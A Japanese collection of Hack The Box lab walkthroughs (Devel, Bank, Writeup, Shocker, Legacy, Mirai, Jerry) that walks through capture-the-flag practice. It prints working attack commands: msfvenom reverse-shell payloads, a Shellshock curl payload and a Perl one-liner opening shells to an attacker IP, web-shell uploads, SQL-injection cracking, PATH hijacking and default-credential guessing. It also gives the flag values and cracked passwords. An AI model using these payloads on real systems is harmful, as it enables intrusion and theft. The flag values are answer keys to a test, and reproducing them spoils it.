【Hack The Box】Devel Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.5
21(ftp)、80(http)が開いている。
FTPがAnonymousログオンを許可しており、80番では、IISが動いている。
※nmap -p- 10.10.10.5も実行し、ポート検出漏れしていないかも確認。
21番ポート(ftp)へanonymousログイン
まずは、ftpへanonymousログインしてみる。一つのディレクトリと二つのファイルの存在が確認できた。一応mget
デファイルをダウンロードしておいた。
# ftp 10.10.10.5 ftp> ls ftp> mget *
ブラウザで80番ポートへアクセス
IISのデフォルトページ画像が表示されているだけ。
また、ftpログインした際に見つけたwelcome.pngにもアクセスすると、同様の画像が表示されたことから、ftpで見つけたファイル、ディレクトリがwebサーバのコンテンツとなっていることが分かる。
ここにwebシェルや、リバースシェルのコンテンツを設置し、アクセスすればシェルがゲットできそうだ。
リバースシェルを取得するためのファイルの設置
MSFVenom - CheatSheet - HackTricks
を参考に、リバースシェルを取得するためのaspxファイルをmsfvenom
で作成する。
※aspxにしたのは、ftpへのアクセス時に、aspnet_client
というディレクトリを見つけたので、ASP.NETが動いていると判断したことと、一般的にIISではASP.NETフレームワークを用いてwebページが作成されるため。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=1234 -f aspx >reverse.aspx
作成したreverse.aspx
をftpのput
コマンドを用いてターゲット端末に送る。lcd
はローカルのカレントディレクトリを変更するコマンド。
ftp> lcd /root/devel ftp put reverse.aspx
meterpreterセッションの取得
metasploit
のhandler
で待ち受ける。
# msfconsole > use exploit/multi/handler > set payload windows/meterpreter/reverse_tcp > set lhost 10.10.14.16 > set lport 1234 > run
この後、設置したreverse.aspxにブラウザからアクセスすると、meterpreterセッションが取得できた。
shell
コマンドにより、windowsのシェルに変更し、Usersフォルダを確認した。
Administratorとbasisユーザがいるが、どちらもアクセスできなかった。
local_exploit_suggesterの使用
metasploit
のlocal_exploit_suggester
を使う。
sessionを指定する必要があるため、現在確立しているセッションをバックグラウンドで動かしておく。
> background > use post/multi/recon/local_exploit_suggester > show options > set session 2 > run
user.txt、root.txt取得まで
上から順番に試した結果、2番目のもの(ms10_015_kitrap0d)で成功した。
システム権限んでシェルがとれたため、後はuser.txtとroot.txtを読んで終了。
【Hack The Box】Bank Walkthrough
はじめに
ポートスキャン
nmap -sC -sV -Pn 10.10.10.29
22(ssh)、53(dns)80(http)が開いている。
※nmap -p- 10.10.10.29も実行し、ポート検出漏れしていないかも確認。
ブラウザで80番ポートへアクセス
Apacheのデフォルトぺージが表示される。
hostsファイルの設定
このIPアドレスに対してgobuster
を実行しても、次につながる結果は見つからなかった。
53(DNS)ポートが開いていることから、このサーバが仮想ホスト(※)で構成されている可能性があると考え、以下を実行しhostsファイルに追記した。
# echo "10.10.10.29 bank.htb" >> /etc/hosts [マシン名].htbというのはHTBのFQDNの命名規則
※一つのサーバで複数のドメインを運用・管理する技術
このFQDNで再度ブラウザからアクセスすると、ログイン画面が表示された。
ディレクトリスキャン
# gobuster dir -u http://bank.htb/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 100
検出されたindex.php
とsupport.php
にアクセスを試みるが、リダイレクトされてlogin.phpに飛ばされてしまう。burpで通信を見てみる。
Burpで通信の確認
support.php
へのリクエストに着目すると、リダイレクト前のレスポンスも確認できる。
レスポンスには、以下のようなコメントが含まれていたりで、ここが狙い目な気はする。
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
support.php
へのアクセスのために、burpのrender
タブをクリックしても表示されない・・・
FirefoxのアドオンでNoRedirect
アドオンというものがあったが、kaliのFirefoxのバージョン問題で使用できず断念。
NoRedirect :: Add-ons for Firefox
調べていると、以下にたどり着いた。Burpを通して通信したものを任意の物に書き換えられるようだ。 MY_CHEAT_SHEET/BurpSuite.md at master · sanposhiho/MY_CHEAT_SHEET · GitHub
Proxy → Options → Match and Replaceより302 Found
で返ってきたものを200 OK
に置き換える設定を加えた。
ここにチェックを入れた状態でブラウザからアクセスすると、support.php
へ行けた。この機能は知らなかった。
ファイルアップロード
support.php
はファイルアップロードの機能があった。phpのreverse shellをアップロードする。
# wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz # tar zxvf php-reverse-shell-1.0.tar.gz # cd php-reverse-shell-1.0/ # cp php-reverse-shell.php shell.htb
shell.htbのIPアドレスとポート番号を攻撃者環境のものに変え、アップロードする。このとき、上記で発見したコメントにあるように、拡張子は「.htb」とする。
user.txt取得まで
アップロードしたreverse shellにアクセスする前に、攻撃者環境で待ち受けておく。
# nc -lvp 1234
アップロードしたファイルにアクセス(ブラウザで「Click Here」をクリック)すると、シェルが返ってきた。これでuser.txtゲット。
root.txt取得まで
権限昇格のために、以下を実行した。
$ sudo -l $ find / -perm -4000 -type f 2>/dev/null
/var/htb/bin/emergency
というファイルにSUIDが設定されている、また、所有者はrootであることからroot権限で実行できそうだ。
実行前後でのid
コマンドの差異は以下。
■実行前 $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) ■実行後 id uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
これでroot.txtの取得完了。
user.txt:37c97f8609f361848d8872098b0721c3
root.txt:d5be56adc67b488f81a4b9de30c8a68e
【Hack The Box】Writeup Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.138
22(ssh)、80(http)が開いている。
※nmap -p- 10.10.10.138も実行し、ポート検出漏れしていないかも確認。
ブラウザで80番ポートへアクセス
こんな画面。文章を読んでみると、DoSの対策をしていると書かれている。
ディレクトリスキャン
# gobuster dir -u http://10.10.10.138/ -w /usr/share/dirb/wordlists/common.txt -s 200,301,302,403 -t 100
上述の通りDoSの対策をしているからか、エラーが返されて実行できなかった。
robots.txtの確認
nmap
の結果でrobots.txt
を検出しているので、ここを見に行く。
/writeup/ディレクトリが存在しているようだ。Disallowとなっているが、制御されておらず、アクセスできた。
ソースコードを見てみると、使っているCMSが「CMS Made Simple」だと特定できる。
「CMS Made Simple」のエクスプロイトコード調査
バージョンまでは特定できていなかったが、CMS名で探す。
SQLインジェクションのエクスプロイトコードがあったので、これを持ってくる。
# searchsploit CMS Made Simple # searchsploit -m 46635
user.txt取得まで
python2のvenv上で必要なライブラリをインストールし、使い方を確認。辞書ファイルにはrockyou.txt
を指定して実行した。
./46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
ユーザ名:jkr
、パスワード:raykayjay9
をゲット。
この認証情報を使ってsshアクセスし、user.txtの取得完了。
ssh jkt@10.10.10.138
権限昇格のための情報収集(試したこと)
以下を実行した。
sudo -l find / -perm -4000 -type f 2>/dev/null uname -a
sudo
は実行できず、SUID
が設定されているもので権限昇格に使えそうなものはなかったのでuname
で出力されたカーネルのバージョン情報からエクスプロイトコードを探した。
searchsploit linux 4.9
Local Privilege Escalation
というものが2つほどあったが、バージョン違いなどで使えそうにない。
実行プロセスの調査
続いて、ターゲット上で実行されているプロセスを調査するため、pspy
を使う。
32bitOS用と64bitOS用があるが、上記uname
の出力(x86_64)より、64bitであることがわかるので、pspy64
を持ってくる。
攻撃側環境でpython3のSympleHTTPServer
を使って8000ポートで待ち受けて、、、
# python -m SimpleHTTPServer 8000
ターゲットシェル上でwget
を実行。
wget http://10.10.14.11:8000/pspy64
pspy64
を実行。
$ ./pspy64
この状態で別シェルからターゲット端末にssh接続すると、接続の度にsshd:[accesptd]
以下が実行されていることが分かった。
中身を見ていく。sshで接続すると、まず以下が実行されている。
sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
env
コマンドに-i
オプションを付与することで、環境変数を継承しない新規の環境を指定している。環境変数PATHを設定した後で、run-parts
コマンドを実行しているようだ。
以下のコマンドより、run-parts
コマンドのパスを調べると、/bin
配下にあることが分かった。
$ which run-parts
ここまでを整理する。
・ssh接続後に実行されるプロセスはUID=0、つまりroot権限で実行されている(pspy
の結果より)。
・run-parts
は/bin
配下にあるため、/usr/local/sbin
や/usr/local/bin
よりも優先度は低い(pspy
の結果より)。
つまり、/usr/local/sbin
や/usr/local/bin
にrun-parts
という名前のファイルを置けば、root権限で任意のコマンドが実行できるかもしれない。
root.txt取得まで
現在のユーザであるshellyが/usr/local/sbin
や/usr/local/bin
に書き込み権限があるのかを確認する。
$ ls -l /usr/local | grep bin $ id
実行結果より、/usr/local/sbin
と/usr/local/bin
はともにstaffグループが所有しており、書き込み権限があるようだ。
また、shellyもstaffグループに所属しているため、このディレクトリに書き込みができる。
そこで、以下のようなシェルスプリプトを「run-parts」という名前で/usr/local/sbin
に配意する。また、忘れずに実行権限も付与しておく。
あとは別シェルで再度ssh接続すると、/usr/local/sbin
に配置した「run-parts」が実行され、/tmp
にroot.txtがコピーされ、終了。
root.txt取得の別解
root.txtのコピーでなく、/dev/tcp/IPアドレス/ポートで通信先指定をするパターンでもrootのシェルが獲得できた。
user.txt:d4e493fd4068afc9eb1aa6a55319f978
root.txt:eeba47f60b48ef92b734f9b6198d7226
【Hack The Box】Shocker Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.56
80(http)、2222(ssh)が開いている。
※nmap -p- 10.10.10.56も実行し、ポート検出漏れしていないかも確認。
ブラウザで80番ポートへアクセス
画像が表示されるだけ。ソースコードからも次につなげられる情報はない。
ディレクトリスキャン
gobuster dir -u http://10.10.10.56/ -w /usr/share/dirb/wordlists/common.txt -s 200,301,302,403 -t 100
/cgi-bin/は403(forbidden)が返ってきているが、これはcgi-binディレクトリのディレクトリリスティングができないというだけで、このディレクトリ配下にあるファイルにはアクセスできる可能性がある。拡張子を指定し、再度スキャンを実行する。
マシン名がShockerという点と、cgi-binディレクトリの存在を確認できた時点でbashの脆弱性(ShellShock)が連想できる。cgi-binディレクトリには何らかのcgiスクリプト(.sh)があると予想できる。
gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/dirb/wordlists/common.txt -x .pl,.sh,.cgi -s 200,301,302,403 -t 100 ※拡張子には、Perl、シェルスクリプト、cgiを指定。(cgiスクリプトはPerlで書かれていることが多いという記事を見たので、一応入れた)
user.shのステータスコードが200で返ってきたので、ここにアクセスできそうだ。
user.shの確認
curl -v http://10.10.10.56/cgi-bin/user.sh
cgiスクリプトはContent-Type:
から始まり、空行を入れて以下に続いていくという書き方をする。この空行はHTTPレスポンスのヘッダ部分とボディ部分の境界を意味する。
ShellShockについて調査
metasploitでも攻略できたが、ShellShockについて脆弱性の概要を知らなかったので調べた。自分の理解では以下。
・Webサーバはcgiスクリプトを動かす際に、クライアントの情報をシェルの環境変数に設定する。
※このとき設定される変数のことを「cgi環境変数」という。例えば、以下のサイトでcgi環境変数が確認可能。
環境変数確認(CGI環境変数)
・cgi環境変数として設定された文字列を関数として扱う際の処理に問題があり、cgi環境変数に「() {」から始まる文字列がセットされると、その中に含まれるコード(やコマンド)を無条件に実行してしまう。
・イメージ図は以下のサイトが分かりやすかった。
Shell Shock/Heartbleed | 日経クロステック(xTECH)
user.txt取得まで
環境変数UserAgent
に10.10.14.10の1234ポートと通信するコードを埋め込んだリクエストを送った。上記で調べた通り、(){
という文字列をセットする。
curl -A "() { :;};/bin/bash -i >& /dev/tcp/10.10.14.11/1234 0>&1" http://10.10.10.56/cgi-bin/user.sh
nc
で待ち受けておくと、shellyという名前のユーザでシェルが返ってきた。
これでuser.txtをゲット。
root.txt取得まで
shellyが特定のコマンドでsudo権限持っているかを確認。
sudo -l
root権限でperlが実行できる。perlでリバースシェルゲットを目指す。以下から持ってきた。 Reverse Shell Cheat Sheet | pentestmonkey
sudo perl -e 'use Socket;$i="10.10.14.11";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
root権限でシェルが返ってくるので、root.txtを確認して終了。
user.txt:2ec24e11320026d1e70ff3e16695b233
root.txt:52c2715605d70c7619030560dc1ca467
【Hack The Box】Legacy Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.4
139、445が開いてる。
※nmap -p- 10.10.10.4も実行し、ポート検出漏れしていないかも確認。
445ポートにNSE(vuln)を実行
445ポートに対して、NSE(vuln)を実行し、脆弱性を調査する。
# nmap --script vuln -p 445 10.10.10.4
MS08-067、MS17-010の脆弱性ありと判断される。いずれもRCEの脆弱性だ。
Metasploit実行
metasploitでMS08-067の脆弱性を突いていく。以下の流れ。
# msfconsole > search ms08-067 > use 0 > run
show options
で見れるパラメータは以下のように設定している。
システム権限でmeterpreterセッションをゲット。
フラグ獲得まで
以下の流れ。
> shell > cd C:\ > dir user.txt /s > type "C:\Documents and Settings\john\Desktop\user.txt" > dir root.txt /s > type "C:\Documents and Settings\Administrator\Desktop\root.txt"
※dir
の/s
オプションはサブディレクトリも対象にするというもの。
user.txt:e69af0e4f443de7e36876fda4ec7644f
root.txt:993442d258b0e0ec917cae9e695d5713
【Hack The Box】Mirai Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.48
22(ssh)、53(dns)、80(http)が開いてる。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセスするが、何も表示されない。
ディレクトリスキャン
gobuster
でディレクトリスキャンを実行。
# gobuster dir -u http://10.10.10.48/ -w /usr/share/dirb/wordlists/common.txt
/adminが気になる。
/adminへアクセス、ログイン試行
/adminへアクセスすると、以下のような画面。
左メニューにあるLoginにもアクセスしてみる。
「Pi-hole」というものが分からなかったので、どうやらラズベリーパイで動かすためのソフトウェアとのこと。
マシン名の「Mirai」からもデフォルトパスワードの使用が考えられるため、Pi-holeのデフォルトクレデンシャルを調査した。
「pi-hole default password」で調べると、以下がデフォルトクレデンシャルのようだ。
- username:pi
- password:raspberry
このクレデンシャルではWeb画面のログインできなかったが、sshでは入れた。
Desktopへ移動し、user.txtをゲット。
権限昇格からroot.txt取得まで
sudo
の権限を確認する。
# sudo -l
rootになれて、全てのコマンド実行ができそうなのでrootになり、root.txtを確認したが、
I lost my original root.txt! I think I may have a backup on my USB stick...
とのこと。。
以下のコマンドを実行し、usbがマウントされているパスを調べる。
# df -h
出力された/media/usbstick
に移動するも、damnit.txt
しかない。中を確認すると、USBから削除してしまったと書いてある。
デバイスファイルそのものをstrings
で確認すると、flagらしき文字列が見つかり、これが答えだった。
# strings /dev/sdb
user.txt:ff837707441b257a20e32199d7c8838d
root.txt:3d3e483143ff12ec505d026fa13e020b
【Hack The Box】Jerry Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.95
8080(http)が開いてる。
ブラウザで8080番ポートへアクセス
ブラウザで8080番ポートへアクセスすると、tomcatの管理画面。
ディレクトリスキャン
いつもはgobuster
を使うが、色々なツールを使いこなすためにwfuzz
を使ってでディレクトリスキャンを実行してみる。
# wfuzz -z file,/usr/share/dirb/wordlists/common.txt -c --hc 404 -t 100 http://10.10.10.95:8080/FUZZ
気になるものはなし。
管理画面への認証試行
ディレクトリスキャンで次につながるものを見つけられなかったので、tomcat管理画面への認証試行を行う。
「tomcat default credentioal」とかで調べて見つけた以下のサイトでユーザーリスト、パスワードリストを作成し、wfuzz
で認証試行。
Default-Credentials/Apache-Tomcat-Default-Passwords.mdown at master · netbiosX/Default-Credentials · GitHub
# wfuzz -z list,admin-manager-role1-root-tomcat -z list,password-Password1-password1-admin-tomcat-manager-role1-changethis-r00t-s3cret --basic FUZZ:FUZ2Z -c --hc 401 http://10.10.10.95:8080/manager/html
tomcat - s3cretという組み合わせでログイン成功。
リバースシェルのアップロード
ログインすると、以下のような画面。warファイルをアップロードができそうなので、ここにmsfvenom
でwarのリバースシェルをアップロードする。
リバーシェル獲得のためのwarファイルの生成は、msfvenomのチートシートを参考にした。
MSFVenom Cheatsheet « Red Team Tutorials
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.23 LPORT=1111 -f war > shell.war
アップロード成功。
シェルの獲得
nc
を使って1111ポートで待ち受ける。
# nc -lvp 1111
ブラウザで、アップロードしたパスへアクセスすると、シェルが返ってきた。しかもシステム権限で。
あとは、user.txtとroot.txtを確認して終了。
user.txt:7004dbcef0f854e0fb401875f26ebd00
root.txt:04a8b36e1545a455393d067e772fe90e
追記
認証失敗時のエラー画面に、tomcat - s3cretと書かれてました。ちゃんと確認すればwfuzz
で認証試行する必要なかったようだ。